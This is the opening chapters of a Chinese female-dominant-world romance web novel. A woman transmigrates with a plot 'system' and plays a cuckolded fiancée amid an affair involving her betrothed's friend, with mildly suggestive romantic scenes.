《兄弟,你妻主真好(女尊)》 1. 一个好妻主 仲夏,五月十七。 黄昏将尽,待最后一缕橘红霞光消失在水面的刹那,自墨绿莲叶间倾荡起的凉风令河两岸的宾客纷纷长舒了口气,攀谈说笑声逐渐又升了起来。 此时谁都没注意到,不远处白玉石砌建的漪涟亭桥中,低低传出的一声呵问。 “府中竟真有此等子腌臜事?” 一袭华裳,打扮得端庄宝气的郑府主君安氏微微皱眉,周身气势不怒自威。 身旁一黑衣爹子闻言立刻将腰弯得更深了:“回主君,仆方才亲眼所见,千真万确!” 正说着,二人身后忽地传出一道询问:“爹爹,怎的了,发生了何事?” 说话间,蓝衣少年噔噔噔几步便跨上阶梯走到了亭内,白皙清丽的脸上带着疑惑,仔细瞧去眉宇间还隐匿着些许心神不宁。 安氏瞧见来人,面上的神情旋即缓和了下来,语气中透着慈爱与关切:“景儿怎的突然到这儿来了,你的那些个好友兄弟们呢,今儿你生辰,莫要怠慢了他们......” 听父亲提及那些人,郑寻景不知想到了什么,秀眉间的不安与烦躁愈深了几分,直接别过脸,目光投向河北岸的女宾席:“孩儿无聊,他们翻来覆去关心的总是那几样东西,没意思极了。” “所以方才到底发生了何事,杨爹爹你说!” 见父亲不打算告诉自己,郑寻景直截了当地询问黑衣老仆。 被点到的杨爹子下意识地望向一旁的主君,见对方阻拦之意不大,于是心中斟酌了番措辞才缓缓开口,想着他家小少爷尚未出阁,那些女男幽会私相授受的腌臜污秽之事还是越少知道越好。 况且兹事体大,若是宾客们带来的下人还好说,可若不是就有些难办了。 “回少爷,就是方才仆路过西苑,瞧见两个人一前一后地进了间偏房举止怪异,身形像是一女一男......” 纵使杨爹子表达含糊,郑寻景依旧听懂了他的意思。 郑府家风严谨,立有府训八十一条,其中一条便是严禁府中下人私相授受,违者发卖严重者直接就地处决。 是以府中下人各个安分守己,无一人敢明知故犯。 更何况今日的情况还非比寻常,可谓是到处都有眼睛盯着。尽管这样还如此胆大包天,视她们郑府家规如无物的,恐怕身份只有一种...... 想到这儿,郑寻景心里蓦地一沉,下意识朝四周又晃了几眼。不知是光线暗下去的缘故亦或是宾客太多,他仍没找到那抹熟悉人影。 郑寻景咬唇,忍着愈发慌张的心跳道:“爹爹,此事便交由儿子办吧。” 说罢,他不待安氏应答,一拧身快步下了亭桥,半刻也等不得。 “杨爹,前面带路!” 作为一府主君,安氏自是也知晓其中深浅利害,无论在那西苑苟合的是跟着主子来的下人抑或是宾客,他这个做主君的都不方便出面。 更何况今日是自家儿子的生辰宴,他虽觉得膈应但并不想将此事闹大教旁的人看笑话。如今景儿已满十八,也是时候学着处理府中之务了。 望着郑寻景快速消失的背影,安氏权衡几瞬后,便随他去了。 与逐渐凉爽的惜河两岸不同,甚少人经过的西苑偏房内狭小、拥挤、闷热,充斥着久不见光日的阴霉味。 然而这对此刻的言奉灵来讲,却与蓬莱仙境无异。 房门掩上的下一瞬,他便飞快转身,目光与面前女人对视的刹那,周围像被点燃了几簇熊熊篝火,熥烤得言奉灵口干舌燥、心脏砰跳。 他没多做犹豫,食指轻抬便勾住了年轻女人浅蓝色的腰封边缘,微微施力后退,扯着人一步步朝里侧的矮榻走去。 对方被他的力量所牵引,不得不迈步跟随。 一时间,不大的厢房内充斥着青年逐渐深重的呼吸以及簌簌衣摆摩擦和脚步声。 咚的轻响,言奉灵踢到了榻板,然而他并未停止而是顺势躺下同时手腕一个用力,余从姝便猝不及防、严丝合缝地压在了他身上。 青年当即闷哼一声,随后胸腔溢出连串的愉悦笑音。 漪涟亭至西苑不过半炷香的路程且尽是平坦砖路,然而郑寻景却几次三番差点崴到脚,打理得规整的发丝也因此有些凌乱,缕缕沾在被汗濡湿的颞区。 “少爷不必心急,若真有此事,搁咱们府里她们二人定是插翅也难飞的。” 贴身仆从若檀见状出声宽慰道。 然而郑寻景却丝毫听不进去。他咬牙,忍着阵阵酸疼的脚腕继续朝前快步走着,眼尾不知不觉沁出了些许水光,胸口上下起伏着。 方才他在杨爹子那里得到了更多细节,对方言及那女男二人身穿一蓝一白色衣裳,不正是、不正是...... 郑寻景深吸了口气,发觉在这炎炎夏夜自己竟冷得不住发抖。与此同时,眼眶还莫名发酸,喉咙像是塞着块烧红的烙铁,胀痛得厉害。 少年蓦地攥紧了十指,强忍着眶中快要溢出的眼泪想——若事实真如他所猜的那般,自己一定要教她们付出代价! 西苑厢房内,余从姝曲臂刚想要起身却被青年率先圈住了脖颈。 宽大的袖摆当即滑落,露出言奉灵那过分皙白的修长手臂,仔细瞧去,细腻如羊脂般的皮肤上已沁出了层滢滢薄汗。 那两臂犹如玉蟒一般将年轻女人绞缠得一时动弹不得,与此同时,温热湿润的唇也如雨点般落在后者的面上。 “哼嗯......” 被极端压抑了近一日的想念与渴望在此刻终于有了释放之地,言奉灵不由地自喉中溢出一丝舒爽至极的喟叹,同时颀长双腿抬起圈住了女人的腰身。 不知是无意还是有心,余从姝的浅蓝色腰封也在此过程中被蹭开,而后又被青年压在身下摧残得不成样子。 言奉灵紧紧地环抱着眼前人,被热意熏蒸得秾艳的脸埋首在对方肩窝里,随着极深的一吸,清浅如雪莲似的冷香立刻充盈进他的肺腑。 姿态强悍势如破竹,立刻便驱散了煎烤了他四肢百骸六七日之久的毒火,一时间言奉灵的呼吸都在颤抖,四肢绵软无力眼尾更是酝红一片,沁出的点点泪花将左眼斜下方那颗青黑泪痣妆点得更加魅惑。 餍足只在一瞬间,紧随其后的是心口被无限放大的空洞,如同正被百万只虫蚁疯狂噬咬,又痛又痒。 青年自是不甘于此。 双眼半睁半阖间,口中呵出的蓬蓬热意打湿了言奉灵纤长的眼睫,在他迷离抬眼时浓密的睫根勾连成一道清晰的墨线,弧度优美摄人心魄。 他探身愈发贴近了上首的年轻女人,嫣红饱满的 唇瓣落在对方唇角,轻轻舔舐厮摩着,口中话音含混却酝满了蜜般的浓情与依恋:“姝娘,灵......好想你。” 余从姝闻言并未应声,而是抬手掐住了他已然被热汗打湿的下颌,迫使对方启唇露出一截水红淋漓的舌尖:“别耽误时间。” 说罢,垂头吻住。 “少爷,便是此处了!” 杨爹子一路小跑跟在少年身后,此刻到达西苑时已是累得上气不接下气,却丝毫不敢耽搁事,领着人来到了自己方才发现异常时所站的位置。 郑寻景虽也是气喘吁吁,可脸色却白得吓人,呼吸颤抖。 杨爹子上了年龄老眼昏花瞧不清楚,可他还年轻。 此时明明白白瞧见,那守在偏房门口的,不是那人的贴身侍从闰禾还能是谁? 身旁若檀自是也认出了对方,当即惊讶地对着自家少爷道:“闰禾哥哥怎的会守在这儿,那屋里的人岂不会是言、” 不待他说完,郑寻景便再也忍不住,湿红着双眼大踏步冲了过去。 “唔哈!” 言奉灵实在撑不住时才猛地别开头,此时他正微张着唇大口喘.息着,仿佛一条濒死的游鱼,躯体异样地痉挛着唇角有晶莹的涎液不停地往下坠,然而酡红面颊上的神情却暴露了此刻他正深陷幸福的事实。 方才嫣红的唇瓣此刻更是犹如快被捣烂的琼花,软烂到荼蘼还被不知是谁的甘霖浸润得泽亮,正细微抖动着。 待胸腔激烈的情愫缓和些许后,青年鼻尖溢出一声轻笑,趁余从姝不注意,在她下颌处咬了口。 言奉灵指尖抚摸着那道浅浅牙痕眯着眼盯着它逐渐晕红,心里荡起诡异的满足。 “怎么办呐姝娘,方才灵拉你进来的时候,好像不小心被郑府的下人看到了......” 俊美青年忽然开口,语气看似在苦恼求助,实则眯起的狐眼中满是笑意,嗓音沙哑又撩人。 闻言,余从姝动了动。 然而青年却根本不给她有任何作为的机会,说话时四肢便愈发缠紧了她,同时握住余从姝的手腕探进了自己已然凌乱的衣襟里,并再次吻住了她。 言奉灵又低低喘息起来,含混祈求道:“可怜可怜灵吧,姝娘——” 厢房外。 “见过郑小少爷。” 蓝衣儿郎出现的刹那,闰禾惊诧之余立刻迎了上去,后背跟着紧绷起来。 郑寻景见状,直截了当地问:“里面的人在做什么?” 见对方语气冰冷一副来者不善的模样,闰禾反应极快地道:“回郑小少爷,主子方才意外弄脏了衣服,正在里头更衣,命仆在外守着。” 郑寻景顿时冷笑出声,额角迸起青筋:“是吗,不过是弄脏了衣服,你又为何表现得如此心慌兢战、如临大敌,别不是他言大公子有更难堪的事怕被人知晓吧!” “让开!” 此话一出,闰禾神情明显惊慌起来,但仍固执地挡在几人面前,张开双臂大声道:“抱歉,我家主子现下实在不方便见人,还请郑小少爷莫要为难小的。” 见他妄图给屋内人通风报信,郑寻景再抑不住满腔愤恨,红着眼睛厉声喝道:“若檀,拦住他!” 接着,郑寻景一扬首,面上的神情既痛又恨:“杨爹、刘爹,给我踹门!” 2. 两个好妻主 时间溯回至两个月前...... 三月天,拂堤杨柳醉春烟,而银丝般绵绵细雨又为这春景笼了层水纱,衬得整个江城朦胧而叆叇。 酉时一过,城东言府前便陆续停靠了几辆马车,打从外看无论是拉车的马匹抑或是轿厢装饰皆价值不菲。 不多时,金漆牡丹门缓缓打开,内里走出八九位年龄相仿的年轻儿郎来,各个长相标致打扮得体,这其中当属被簇拥着走在中央的那位最为惊艳。 青年身着一袭简单的玉色白衣,然而这低调秀雅的颜色却因衣摆、袖口、前胸那用银线绣成的莲花而华贵暗藏,纵使此刻天色黯淡昏沉,仍会因主人不经意的一个动作而泛起潋滟华光。 他身形生得清瘦颀长在人群中格外高挑,乌黑光滑如绸缎般的长发及腰,简单在脑后用玉簪挽了个半髻,松松垂着。周身没有多余装饰只劲竹似的腰上绕着条细链,檐下雨滴状的东珠坠成一圈,随着他行动的幅度轻轻摇晃。 举手投足间,整个人犹如高山断崖上一株盛放的白昙,优雅矜贵、温柔遥远,令人不敢心生妄念。 与之相符的,还有一张同样出尘绝世的脸。 墨眉下,两只极漂亮的浅褐色眸子时刻酝着笑,令人如沐春风。 “时辰过得真快,我还没怎么好好同灵哥哥你说说话便就要走了,真舍不得。”一年龄最小,身着绯衣的少年郎拉着言奉灵的手,不舍地晃了晃,面上流露出不舍。 “好了,今日桌上的点心都装份给你,送到府上。”言奉灵笑吟吟开口,语气温柔中透着宠溺。 对方听罢一下笑逐颜开,将他的手拉得更紧了口中却还在否认:“繁儿才不是那个意思呢......” 身后随即有人接话道:“奉灵你就宠他吧,林繁儿那肚子啊跟无底洞似的,怎么也装不满!” 此话一出,顿时引得周围其他儿郎捂嘴发笑。 “才不是呢、才不是!”绯衣儿郎一瞬间涨红了脸,急切地想要辩驳却压根说不出什么有力回击对方的话来,眼瞧着都快要哭了。 待众人快笑够时,言奉灵适时出口:“好了,繁儿弟弟正是长身体的时候,多吃点儿也属正常,你们莫要再打趣他了。” 此话一出,周围的笑声果真止住了。 “对、对!我还在长身子呢。” 绯衣儿郎闻言重重点头,直接抱上了青年手臂,脸上的神情半是感激半是依赖。 言奉灵乜了眼自己被林繁儿紧抱着的手臂,又很快移开目光。 与此同时,已然有几位家丁撑伞迎上来要接自家主子上马车,其中便有林府。 “灵哥哥改日再见。”绯衣儿郎临走前还在依依不舍,趴在车窗上朝言奉灵挥手,直到见有人挡住了视线这才落寞地放下手钻回车内。 “舍弟在家中颇为任性乖张,如有冒犯言公子的地方,还请海涵。”一年轻女子客气拱手,身边站着的正是方才嘲弄林繁儿肚子像无底洞那位儿郎。 年轻女人一身紫衣,鬓边也簪了朵相似颜色的桃花,本是一副风流打扮却因眼中过于谄媚讨好的目光而变得俗不可耐。 真真可惜了那朵娇花。 “哪里,栗呈弟弟甚是可爱,灵欢喜他还来不及呢。” 言奉灵自桃花上收回视线冲对方客气一笑,淑雅大方的模样轻易便令对方看直了眼,就连手上的礼品何时被言府下人接走又递上了还礼都不知道。 瞧着紫衣女人流露出的这幅痴样,青年面上仍笑吟吟,眼底却多了几分鄙薄与不耐。 熟料对方却似是得了某种暗示与鼓励般,激动得面颊绯红。 无它,眼前人身份贵不可言,乃是江州望族言氏嫡公子。原先祖上以香料起家如今已荫蔽五代,家境不光富埒王侯就连远在京城的朝中,也有位稳坐三品的亲姑母。 家世显赫程度在整个江州都首屈一指。 不仅如此,青年还生了副顶顶好的样貌,加之性情优雅大方、待人接物皆进退有度。刚及笄那年,言府的门槛便差点被媒人踏破! 然而不知是何原因,言府这位嫡亲长公子一直未婚配也未传出有何心仪之人,到如今已芳龄双十。可即便如此,江州仍有不少年轻才俊对此蠢蠢欲动,却也不敢轻举妄动。 只犹豫一会儿的工夫,便又有其他女子借由接自家兄弟回府一事同言奉灵寒暄攀谈上来,见自己失了机会加之一旁弟弟的催促,紫衣女子不得不遗憾离开。 待言奉灵妥帖细致地送离大部分宾客,又为剩下的人安排好回府马车后,旁观了这一切的好友郑寻景已然瞧得失去耐心。 蓝衣少年抱臂而立,清丽的眉头紧皱起:“月月如此,奉灵你不累吗?” 对方闻言柔柔一笑,抬手为他扶正了有些歪斜的金玉冠,声音清润怡人:“月月都能见到你们,灵欢喜还来不及呢,怎么会累。” 说罢,言奉灵扫了阶下一眼,关切道:“郑府接你的马车还没到吗,不若今晚暂且留宿灵这里,正好咱们也许久未秉烛夜谈了。” 郑寻景摇头,吸了口气压下心中因长久等待而涌起的烦躁:“不了,爹爹不允我随意留宿府外,况且今日......” “奉灵可是忘了,郑六如今可是有婚约在身,保不准是他那未婚妻主不许他随意留宿她府呢!” 身后有人听到二人对话,当即好事地插了这么一嘴。 郑寻景猝然扭头,横眉冷对其人:“她那样的人,哪里有资格管我!” “还有,莫宇宁你少在这里多嘴,得罪本少爷的后果你确信承担得起?” 此话一出,名叫莫宇宁的那位多事儿郎悻悻瘪了下嘴,他家世虽好却到底不如郑寻景,犹豫几瞬后嘟囔道:“我不说便是了,这点小事何必动怒。” 说罢,他朝对面的言奉灵递去求救目光。 对方见状叹了口气,轻轻拉了拉郑寻景的手,语气泛着担忧:“郑姨母还不许你退婚么,即便对方哪里都配不上你。” 对于上月初与郑寻景指腹为婚的未婚妻主忽然上门求娶一事,言奉灵略有耳闻。 不消他多打听,便有人将或真或假的细节主动说与他听。 传言那女子姓余母父双亡,其祖母与郑家已故祖母原是同窗至交,郑寻景出生前,郑老家主便拍板做下决定——若生下来是男儿身便嫁与对方孙女,二家结秦晋之好。 熟料郑寻景出生后没几年,郑老家主便意外离世,当初玩笑式的两氏婚约也再没人再提及。 十八年一晃而过,余氏也在此期间家道中落沦为寒门。哪知就在今年开春后不久,一余姓女子忽然寻到了郑府,拿着信物求娶郑寻景...... “听说那女子手不能提肩不能抗,身体弱得一阵风便能吹倒,性格又寡言木讷只剩一肚子‘之乎者也’,就连日常生活偶尔都需要邻里接济呢!” “就这条件,对方登门求娶时郑府竟还开了正门迎人,看样子郑氏家主是铁了心要替已故老家主履约。” 说话那人讲到 这儿忽地笑了,眉眼间满是有好戏瞧的期待:“郑六那家伙不是日日端得眼高于顶、与众不同吗,这下算是狠栽了个大跟头,哎,奉灵你说他嫁过去没饭吃会不会去挖野菜啊哈哈哈!” 对此,上首喝茶的俊美青年未置可否,只言此话在他面前说说也就罢了,莫要教旁的人听见,捅到郑寻景那里去,伤了彼此间和气。 如今江州以及隔壁两州超六成的药材生意都已被郑氏牢牢把持,而郑寻景又是府里最小最受宠的少爷,性格骄矜、行事自由随心。 若真传进对方耳朵里,不仅说这话的人没有好果子吃,就连他自己也会受影响。 而且,言奉灵并不觉得郑寻景会乖乖就范,他与那余姓女子无论是家世还是性格皆天差地别。 想娶郑氏的掌上明珠?单单郑寻景亲爹安氏那关,那余氏女子都不好过。 言奉灵安下心来,却并不是因得好友终会摆脱麻烦,而是他打从心里便厌烦瞧见男子下嫁。 男子下嫁,除了感动自己,最后只能落得个被婆家轻视、妻主怠慢继而连累孩子的下场,无一好处。 不,可以说婚姻对男子来说,本来便无一好处。 听言奉灵提及婚约一事,郑寻景便觉心烦,他一扬下巴道:“不许又如何,只要我咬死不松口她便不能拿我怎样,这婚约我是一定要退的!” 言奉灵清浅眼眸掠过一丝讶然,听对方这话的意思是还在僵持? 随即,青年看向郑寻景的目光掺杂了些菲薄意味,若是自己的话,有上百种方式能教那女人主动退婚且不损坏自家半点名声。 只一件小事而已,哪里能耽误得了一个月的时间? 言奉灵虽是这般想,面上却赞许似地点了点头,继而又拍拍对方的手背:“灵信你,日后若有什么需要灵的地方,随时知会。” 二人自小相识到如今已十二年之久,郑寻景点了点头没同他怎么客气,不过脸上烦躁的情绪倒是好转了一些。 说话的这会儿工夫,天色迅速黯淡下来,就连濛濛细雨也隐隐有下大的趋势。 郑寻景瞧见身旁人穿着单薄,于是提议道:“不若你先进去吧,我自己在这儿等着也无妨。” 言奉灵温柔摇了摇头,凉风吹起他颊边的碎发,瞬时间更衬得他清艳难攀。 “左右无事,灵陪你。” 他这番话音刚落,街角雨幕后便忽然出现一辆马车轮廓,车辆由远及近,黑色枣骝马脖颈坠着的木牌烙着的正是郑氏纹样。 马车很快停稳,然而前室的车妇却并未立刻跳下马来迎接自家少爷,而是扭头喊了声,语气颇为恭敬。 “余小姐,言府到了。” 闻听此言,几位还未离开的世家儿郎纷纷转头,一时间都来了兴趣想瞧瞧这令郑寻景嫌恶不已的寒门未婚妻主究竟是何模样。 “八成拿不出手,说不准人瘦脸黄、气质猥琐浑身的穷酸书生味儿......” 先前被压了一头的莫宇宁不服气,小声在背后同身边人嘀咕着。 言奉灵神色如常,心里却也因这番话泛起了丝丝的好奇。 能教总掌三州药材生意多年、阅人无数的郑家主坚定认下这个儿媳,恐怕不止为了替自家长辈履约这么简单。 正当众人议论纷纷时,车厢后门忽然打开,一把青色油纸伞从中探出,徐徐撑开。 方才还窃窃私语的众儿郎们一下安静了下来,目光皆落在了握着伞柄的那只修长苍白却骨节分明的手上。 3. 三个好妻主 少顷,车内弯腰走出一位女子。 溟溟细雨中,对方一身素色长裙衬得身材清瘦而纤长,手中撑开的那柄青纸伞恰巧挡住了她大半身形,教言奉灵只能瞧见垂落在她胸前的那缕乌发。 下一瞬,随着伞面的蓦然抬升,其下掩映着的女人面庞也暴露在众人目光中。 霎那间,周围的喧嚣仿佛散尽般,雾似的烟雨成了她最好的陪衬。 一片静谧里,言奉灵的心脏不受控制地重重跳了两下,血液逆流。 女人生着双墨沉清冷的瑞凤眼,柳眉浅青,微抿着的薄而淡的唇,肤色是霜雪般的苍白。 她打扮得极其简单,甚至身上的长裙也是用最普通的粗布缝制,通身没有任何装饰,然而却令任何人都难以移开视线。 她如一株孤独生长百年的,空谷幽兰、兀自芬芳。 令人得见一眼便心生惶恐与庆幸。 言奉灵瞧见女人下了马凳,而后一步步朝自己走来,褐色瞳孔忍不住震颤,心中千万念头闪过,最后只剩一个。 ——竟然真的是她...... 随着年轻女人的接近,周围潮湿空气里萦上了股浅到缥缈的冷香,这熟悉味道再一次令长期接触香料对气味极其敏感的言奉灵怔在原地,脊背掀起一阵战栗,霎时出了层热汗。 激动之余,言奉灵更是笃定了心中那个猜想——眼前人便是半月前窄巷子里出手救了自己一命的女子。 “抱歉,我来晚了。” 对方忽地出声,清泠泠如碎玉濯冰般的嗓音令言奉灵瞬时回过了神儿。与此同时,他身后也响起接二连三的抽气声,仿佛那群人才意识到可以呼吸似的。 言奉灵蹙了下眉,不过很快又舒展开来,咚咚心跳声中,他勾起唇角上扬的弧度优美且怡人。 刚要开口—— “既然做不到,便不要轻易答应我娘,让本少爷白白等你许久。” 这丝毫不客气的话声听得言奉灵一愣,素来神容得体的脸上有瞬间的僵硬,转头诧异地看向身旁好友,又顺着对方的目光看向对面女人。 余从姝眼帘低垂,冷淡话音里带着歉意:“对不起,是在下的错。” 她说着,将手中的青伞递给一旁的言府小厮,众人这才发现她手臂上竟还搭着件披风。 余从姝将披风抖落开,做势要为郑寻景披上。 “不需要,走开!” 哪知郑寻景一偏身竟直接拒绝了她,看也不看一眼便夺过小厮手中青伞三步并做两步上了马车,独留身后一众儿郎望着他的背影呆呆地站在原地。 倒是言奉灵率先反应过来,他掩下眸中的惊诧,转眼望着面前的年轻女人,唇边笑容得体又大方,语声清润:“余、” 哪知后面的话还未说出口,面前人便一个旋身也紧随其后下了台阶,追上郑寻景后到底还是将手中披风拢在了他肩上。 “天冷......” 而蓝衣少年依旧姿态抗拒,可他究竟说了些什么,言奉灵已然听不清了。 他的目光落在年轻女人被绵绵春雨打湿的发上,颗颗潮漉漉的水珠凝结其上,密而纷乱。 而那股沁人心脾的幽然冷香也随着主人的离开迅速消逝,同时也带走了言奉灵周围的空气。 青年怔怔望着这一幕,激烈蹦跳的心脏因缺氧而逐渐发疼抽紧,他唇角的那抹笑意也再维持不住,缓缓崩裂。 雨势逐渐变大,敲打在车顶上的声响隐约有压过碌碌车轮的趋势。 此刻马车内的氛围着实不算松快,余从姝望着二人脚边被郑寻景故意扔下的黑色披风,沉默半晌后再次出声道了句歉:“对不住,让你久等了。” 与她斜对面远远坐着的少年顿时冷哼出声:“道歉有何用,你可知,因为你本少爷错过了三日才一堂的医理课!” 郑氏虽经营的是药材生意,族中却并无人从医,只因她们景朝凡高门大户皆有蓄养府医之习,好的府医甚至还会被当做资源筹码用来交换。 渐渐的,除却杏林世家和以此谋生的平民百姓,很少再有世家子主动学医,儿郎们更是对此避之不及。 然而郑寻景却是个例外,当初为了获得学习医术的机会,他甚至绝食了五日即便饿得奄奄一息也要与父亲抗争。 最后郑父虽松了口,却立下规矩——修习医术可以,不过只能每三日一次、每次一个时辰,期限一年。 不仅如此,给他所请的教授医术的老大夫也十分古板严苛、说一不二,郑寻景错过一个时辰便真就错过了,再补不回来。 这对一心学医的郑寻景算是不小的损失,此刻他杀人的心都有。 年轻女人再次陷入了沉默,许久后又沉沉道了句:“对不住。” 郑寻景见她翻来覆去便只会道歉,心中更是火大,不禁怒目冷嘲道:“你若真觉得对不起本少爷,不如主动退婚,这样我还有可能原谅你!” 哪知竟被对方一口回绝了。 只见余从姝缓缓摇了摇头,墨黑而凉的眸子注视着他:“很遗憾,在下不能这么做。” 依旧是这个回答,无论郑寻景这个月问上多少次。 蓝衣少年气红了眼,一指车门道:“既做不到,便不要在这里碍本少爷的眼,下去!” 砰的一声,车门重重关闭。 “张姨驾马!” 前室的车妇听到催促声,对着身边被赶下来的余从姝低声道了句歉,语气小心道:“还请余小姐避雨稍等片刻,一会儿小的便来接您!” 余从姝微微颔首,后退几步站在原地目送郑府马车逐渐驶远。 此时夜色四合,润如酥的春雨被风吹得冷潮,青石板街上空无一人。 由于被赶下车时余从姝没来得及带那柄青纸伞,于是不得不迎着凄风冷雨朝前走去。 然而此时若有人离得近些,便会惊讶地发现那些雨滴在落到她身上的前一瞬便骤然蒸发,消失不见。 “宿主放心,我已为您开启关怀模式,保证不会让您淋湿、吃一点剧情以外的苦!” 脑中的6688系统忽然出声,语气带着几分明显的讨好。 相比之下,余从姝的反应便显得格外冷淡,只轻嗯了一声。 见此情景,NPC工具人系统忐忑的声音响起:“宿主这是还在生6688的气吗?” 年轻女人一步步匀速朝前走着,对此不置可否。 两个多月前,余从姝刚入职家族企业便收到了姥姥的病危通知,在连夜开车回去的路上发生了车祸。 恢复意识后便发现自己正身处一望无际的纯白陌生空间,还绑定了个npc工具人系统6688,从对方口中得知了现实世界自己已经车祸死亡的消息,且只要 顺利完成任务就能重生并获得大额奖励。 对此,余从姝当场表示:“我拒绝接受任务。” 第一次独立工作的系统6688立刻傻眼,下意识问:“宿主,你不想复活吗?” 女人神色疏冷,不答反问:“死了就是死了,为什么还要复活?” 6688一哽,急得团团转也不知该如何回答她,于是只能紧急回到系统大厅去向有经验的前辈讨教。 几分钟后,它再次开口语气一改之前,变得十分笃定:“完成任务后,系统奖励可以转赠她人,包括复活名额,宿主确定要拒绝任务吗?” 余从姝听后垂眼沉默片刻:“真的?” 说这话时,她想到了医院里被病痛折磨得不成样子的姥姥。 偷偷读取了余从姝死前重要记忆的6688自信嗯了声,又添了句:“受奖励者不仅会恢复健康,就连寿命、运气值也会相应增长且无副作用哦。” 余从姝闻言眉稍动了动,很快又恢复如常。 几秒后,她淡淡开口:“那好,我接受任务。” 6688见她终于肯接受任务后,开心地在纯白系统空间里放了一分钟烟花,表达完激动的心情后才向余从姝正式介绍任务内容。 “你即将被投放进的小世界背景是一本酸甜微虐向女尊,女主名叫夏清扬,人设是出身显赫的郡主却平易近人、喜爱隐藏身份广交好友、性格聪慧潇洒,处事灵活多变。男主郑寻景,同样是高门贵子,长相清丽性格骄矜单纯、敢爱敢恨、向往自由!” “二人缘起自一场误会,此误会令男主对女主的初始印象极差,然而不久之后的一场意外令他又对女主迅速改观。在那场意外中,女主所表现出的聪慧果决以及潇洒气质深深地吸引了男主,而男主出众的外表以及有别于其他人的性格同样引起了女主的注意。” “女男主在剧情的逐步推动下感情迅速升温相处暧昧,然而就在二人确定关系的前夕,变故发生了!” npc工具人系统说到这儿忽然停了下来,妄想卖个关子吸引余从姝的注意。 此时年轻女人正倚在它编写出来的单人沙发上以手撑头微阖着双眼休息,姿态自然随意得仿佛睡着了一般。 6688虽然是第一次单独执行任务,却也见过别的宿主接收任务时认真郑重的模样,没一个像面前人表现得这么漠不关心! 就在这时,沙发上的女人忽然开口:“继续。” 闻言,6688恍生出一种错觉——自己分明一个系统,却在为余从姝这个宿主打工。 它顿时有些不服气,但一想到余从姝刚刚拒不配合的模样生怕再惹毛了她导致任务失败,犹豫几秒后只得乖乖继续往下说。 “女主忽然发现了男主竟还有个自小指腹为婚的未婚妻主,且对方早在四个月前便上门求娶过,此后还一直都生活在郑府里与他朝夕相处。” “虽然男主在对方求娶的第一时间便强硬拒绝并誓死不接受婚约,但女主还是因他的欺瞒而感到愤怒继而再不肯与之相见,为此男主还有些怄气,但在清楚女主对自己究竟有多重要后幡然醒悟,崩溃痛苦而后开启追妻火葬场模式,男主在经历几场被反派虐身虐心酸涩剧情后,终于获得女主原谅,达成HE结局!” 余从姝听完,缓缓睁开眼:“所以我的任务是......” 4.四个好妻主 “所以我的任务是......扮演那个被戴绿帽的未婚妻主。” 女人的语气直白且平静,令6688系统听不出半点情绪,心里也莫名生出了几分压力。 于是它硬着头皮开口,语气故作轻松:“对,其实任务很简单。” “宿主只需要扮演一个家道中落的穷苦书生,为了过上更好的生活主动上门求娶并对男主一见钟情,但由于性格沉默寡言不善讨好始终被男主所排斥不喜,但仍会在对方看不见的角落默默守候、付出。” “直到五个月后,女男主的感情因她而产生激烈冲突,穷书生不愿见喜欢的人日日伤心流泪,主动提出退婚后,从此在江城销声匿迹。” “宿主你看,是不是很简单......” 6688越往下说底气越少,它才翻过余从姝的部分记忆,从对方所做过的事来看——余从姝其实更适合扮演那些毁天灭地的厌世大反派。 最重要的是,剧情里穷书生是真的喜欢男主,可看眼前人的样子根本不像是有过类似经历的人。 系统忽然有些后悔,甚至对自己究竟还能不能完成任务产生了怀疑。 谁知余从姝并没有多说什么,而是抬手揉了揉自己幻痛的颈骨,淡声道:“开始吧。” 见她主动要求开始任务,6688系统的心情顿时峰回路转,甚至得意地想余从姝这个宿主表面看着冷漠不近人情,其实还挺好说话的,自己完全可以拿捏。 然而很快6688就主动推翻了这一结论。 由于寡言穷书生的工具人属性,原文并没有对此有过多的着墨,所以余从姝一穿进去不仅本人的身材样貌等各项数据被完全保留下来,就连名字也被拿去填补设定了。 穷书生从小到大的人生轨迹与余从姝天差地别,但二人有一点相同——都是在祖母也就是姥姥的陪伴教育下长大。 同样的,穷书生的祖母也同她现实的姥姥一样,重病缠身卧床多年。 于是,系统眼睁睁地看着余从姝一进书中世界便直接‘放弃’任务,整日窝在倒塌了一半的茅屋里大门不出二门不迈,一边照顾重病在床的书生祖母,一边不慌不忙地熟悉这个世界的各种知识。 直到一个月后濒临任务失败边缘,才在它苦苦哀求道歉加赔偿下,收拾行李动身前往江城走剧情。 这期间,6688并不是没有对她消极怠工做过惩罚。但面对余从姝这个连续经受三次电击都能忍下来一声不吭的的超绝狠人,它是真的怕了。 更恐怖的是,6688系统后知后觉,发现余从姝所做的这一切,其实都是在对它偷看自己重要记忆片段的打击报复。 可问题是,对方是怎么发现的? 系统后背一凉,再不敢在余从姝面前动任何的歪心思,态度也较之前更加客气甚至有些卑微。 然而即便如此,对方在执行任务上表现得依旧十分消极。 纵使按照剧情入住了郑府,依旧很少与人说话接触,每天都是白日待在自己那个偏院里夜里翻墙出去游荡,与男主郑寻景鲜少有互动,即便撞见也绕道走。 问,对方就说是在践行书生工具人中寡言木讷不善讨好的人设。 催,对方就答既然剧情不能拖延更不能快进,那急什么? 给6688系统折磨得彻底没了脾气,只得再说好话再道歉再补偿。 直到昨日,余从姝才肯主动走点剧情,应下郑母接男主回府的提议...... 天色彻底昏暗下来,然而距离郑府还有两条街的距离。 余从姝的脚步依旧不急不缓,慢慢走着,面对6688方才的询问她许久才淡声回道:“没有。” 然而系统却并不相信,经过这两个月多的相处,它已然深刻地认识到余从姝此人的心究竟有多难揣测,对方脸上常年面无表情,只有当初在面对书生卧床的祖母时才会流露出一点点笑意。 对于余从姝此刻的回答,它半个字都不敢掉以轻心,生怕对方在关键时刻又阴它一把导致任务失败。 “可、” 6688系统刚出声,余从姝行至街角的脚步忽地一滞,顿时截住了它的话头。 “宿主,怎么了?” 余从姝微微偏过头借由转弯的动作迅速朝身后投去一眼,脚下动作恢复如常的同时简明扼要地在心中回复系统的话:“刚刚有人跟踪我。” 6688听后心下一松,语气毫不在意:“不可能的,在这个世界你只是个npc而已,谁会去跟踪一个无关紧要的npc?” 余从姝轻嗯了声,语气平淡无波仿佛刚刚她对6688的解释只是在陈述事实并不是寻求肯定。 年轻女人垂下眼帘,不动声色地将方才跟踪自己那人的相貌特征记在了心里。 与此同时,言府。 待将今日赴宴的所有世家子弟皆妥帖送离后,言奉灵身上的衣物已然被冷雨打潮了。 温暖熏着酽香的寝房内,青年张开手任由贴身仆从闰禾为自己一件件褪去衣衫,洗去铅华后精致秾艳的脸上浮现着浅浅的倦怠。 